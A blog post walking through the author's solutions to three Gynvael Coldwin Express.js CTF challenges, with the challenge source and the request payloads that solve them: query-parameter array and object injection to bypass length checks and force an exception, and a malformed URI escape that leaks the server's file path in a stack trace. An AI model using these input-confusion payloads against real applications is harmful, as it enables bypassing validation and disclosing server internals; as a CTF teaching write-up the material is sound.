Gynvael Web Challenge Solves

6 minute read

It was recently brougt to my attention that Gynvael Coldwin has been releasing some CTF-style Express.js web challenges, so I decided to give them a try :)

As of 5/12/2020, there are only 3 challenges published

Level 1

Level 1 begins here, where we are presented with a standard layout for this type of web challenge: a blank page with the JS source echoed back to us.

Source code

Level 1

const express = require('express')
const fs = require('fs')

const PORT = 5001
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 1\n\n")

  if (!('secret' in req.query)) {
    res.end(SOURCE)
    return
  }

  if (req.query.secret.length > 5) {
    res.end("I don't allow it.")
    return
  }

  if (req.query.secret != "GIVEmeTHEflagNOW") {
    res.end("Wrong secret.")
    return
  }

  res.end(FLAG)
})

app.listen(PORT, () => {
  console.log(`Example app listening at port ${PORT}`)
}) 

A quick glance through the source code and we can see that we need to pass 3 checks:

1) We must send a GET request to the / URI with the query string secret

2) The length of our query cannot be greater than 5

3) We must provide the secret value of: GIVEmeTHEflagNOW

Obviously sending the following request results in an error:

Request: http://challenges.gynvael.stream:5001/?secret=GIVEmeTHEflagNOW
Response: I don't allow it.

However, we can trick the app into accepting our query by sending it as an array. The standard format for adding arrays to the query string is as follows:

http://challenges.gynvael.stream:5001/?secret[]=GIVEmeTHEflagNOW

The length of our query string is now 1 (there is only 1 element in our secret array) and the last conditional check will pass since secret[0] == "GivemeTHEflagNOW"

Level 1 Flag

CTF{**********PHP}

Level 2

Moving on to level 2, we find a similar setup this time, but with different checks to pass:

1) X must be present in our query string

2) X’s query string length must be greater than 800

3) The length of the s string cannot be greater than 100

4) We must trigger an exception inside the try/catch block in order to reach the res.end(FLAG) line

Source code

Level 2

const express = require('express')
const fs = require('fs')

const PORT = 5002
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 2\n\n")

  if (!('X' in req.query)) {
    res.end(SOURCE)
    return
  }

  if (req.query.X.length > 8000) {
    const s = JSON.stringify(req.query.X)
    if (s.length > 100) {
      res.end("Go away.")
      return
    }

    try {
      const k = '<' + req.query.X + '>'
      res.end("Close, but no cigar.")
    } catch {
      res.end(FLAG)
    }

  } else {
    res.end("No way.")
    return
  }
})

app.listen(PORT, () => {
  console.log(`Challenge listening at port ${PORT}`)
}) 

After going down many wrong paths :), I realized something interesting about Express JS once I read through the API. The conditional check:

if (req.query.X.length > 8000

doesn’t necessarily have to check our actual query string length. Check out this example from the Express JS API:

// GET /shoes?order=desc&shoe[color]=blue&shoe[type]=converse
console.dir(req.query.order)
// => 'desc'

console.dir(req.query.shoe.color)
// => 'blue'

console.dir(req.query.shoe.type)
// => 'converse'

Remember how we could create arrays and pass them to Express JS? We can also create them such that:X[length]=1000 can be accessed via req.query.X.length, and will pass our first 2 conditional checks! Payload so far:

Request: http://challenges.gynvael.stream:5002/?X[length]=1000
Response: Close, but no cigar.

Now all that’s left is to trigger an exception so it gets caught and we can execute the res.end(FLAG) line. Going back to the Express JS API, it is revealed that:

As req.query’s shape is based on user-controlled input, all properties and values in this object are untrusted and should be validated before trusting. For example, req.query.foo.toString() may fail in multiple ways, for example foo may not be there or may not be a string, and toString may not be a function and instead a string or other user-input.

Note

I played around long enough with this part of the challenge that I accidentally stumbled across the answer. Admittedly, I didn’t understand why it worked. Thankfully, another member of PFS had also worked on this challenge and was kind enough to explain it to me

So what could we possible do here to force the app to throw an exception? Well, the API did mention not to assume that something like toString would be available for a req.query. X[length] worked earlier so we might as well try X[toString]. Final payload:

Request: http://challenges.gynvael.stream:5002/?X[length]=1000&X[toString]
Flag revealed below

We got the flag! But why does this work? If we look closely at the source code again, the following line is doing something interesting:

const k = '<' + req.query.X + '>'

What’s actually happening here is: <req.query.X.tostring()>. The toString() function does execute here but throws the following exception:

user:dev/ $ node level2.js                                                                             [19:05:38]
Challenge listening at port 5002
TypeError: Cannot convert object to primitive value
    at /home/user/XXX/level2.js:15:32
    at Layer.handle [as handle_request] (/home/user/XXX/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/user/XXX/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/user/XXX/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/user/XXX/node_modules/express/lib/router/layer.js:95:5)
    at /home/user/XXX/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/user/XXX/node_modules/express/lib/router/index.js:335:12)
    at next (/home/user/XXX/node_modules/express/lib/router/index.js:275:10)
    at expressInit (/home/user/XXX/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/home/user/XXX/node_modules/express/lib/router/layer.js:95:5)

That exception is then caught in the try/catch block and the flag returned to us!

Level 2 Flag

CTF{****yB*****PHPLi*****}

Level 3

Last challenge (for now)! Let’s take a look:

Level 3

// IMPORTANT NOTE:
// The secret flag you need to find is in the path name of this JavaScript file.
// So yes, to solve the task, you just need to find out what's the path name of
// this node.js/express script on the filesystem and that's it.

const express = require('express')
const fs = require('fs')
const path = require('path')

const PORT = 5003
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync(path.basename(__filename))

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 3\n\n")
  res.end(SOURCE)
})

app.get('/truecolors/:color', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')

  const color = ('color' in req.params) ? req.params.color : '???'

  if (color === 'red' || color === 'green' || color === 'blue') {
    res.end('Yes! A true color!')
  } else {
    res.end('Hmm? No.')
  }
})

app.listen(PORT, () => {
  console.log(`Challenge listening at port ${PORT}`)
})

We get a nice hint at the top of the source code that the flag is in the path name of the app’s JS file. At first, I totally overcomplicated this challenge. My original thought process was that somehow we were supposed to get code execution in order to read the __filename value. Not even close.

After investigating what the /truecolors/:color syntax meant to Express JS, I came across this excerpt from the API docs:

NOTE: Express automatically decodes the values in req.params (using decodeURIComponent).

It’s interesting that they explicitly mention that JS built-in, let’s take a look at it.

The web docs mention that this decodeURIComponent() function is capable of throwing a URIError exception and even gave an example:

try { 
  var a = decodeURIComponent('%E0%A4%A'); 
} catch(e) { 
  console.error(e); 
}

// URIError: malformed URI sequence

So we know that our target app uses this function under the hood, but interestingly enough, I don’t see any exception handling in the source code. One of the most common ways to see a file’s full path is in the traceback after an unhandled exception. Let’s see if we can trigger one:

Request: http://challenges.gynvael.stream:5003/truecolors/%E0%A4%A

Response:
URIError: Failed to decode param '%E0%A4%A'
    at decodeURIComponent (<anonymous>)
    at decode_param (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/layer.js:172:12)
    at Layer.match (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/layer.js:148:15)
    at matchLayer (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/index.js:574:18)
    at next (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/index.js:220:15)
    at expressInit (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/index.js:317:13)
    at /usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/index.js:284:7
    at Function.process_params (/usr/src/app/FlagRevealedBelow/node_modules/express/lib/router/index.js:335:12)

We can and we get the flag back!

Level 3 Flag

CTF{T***s***I*******Rex*****}

Thanks, Gynvael. I look forward to more of these

Updated: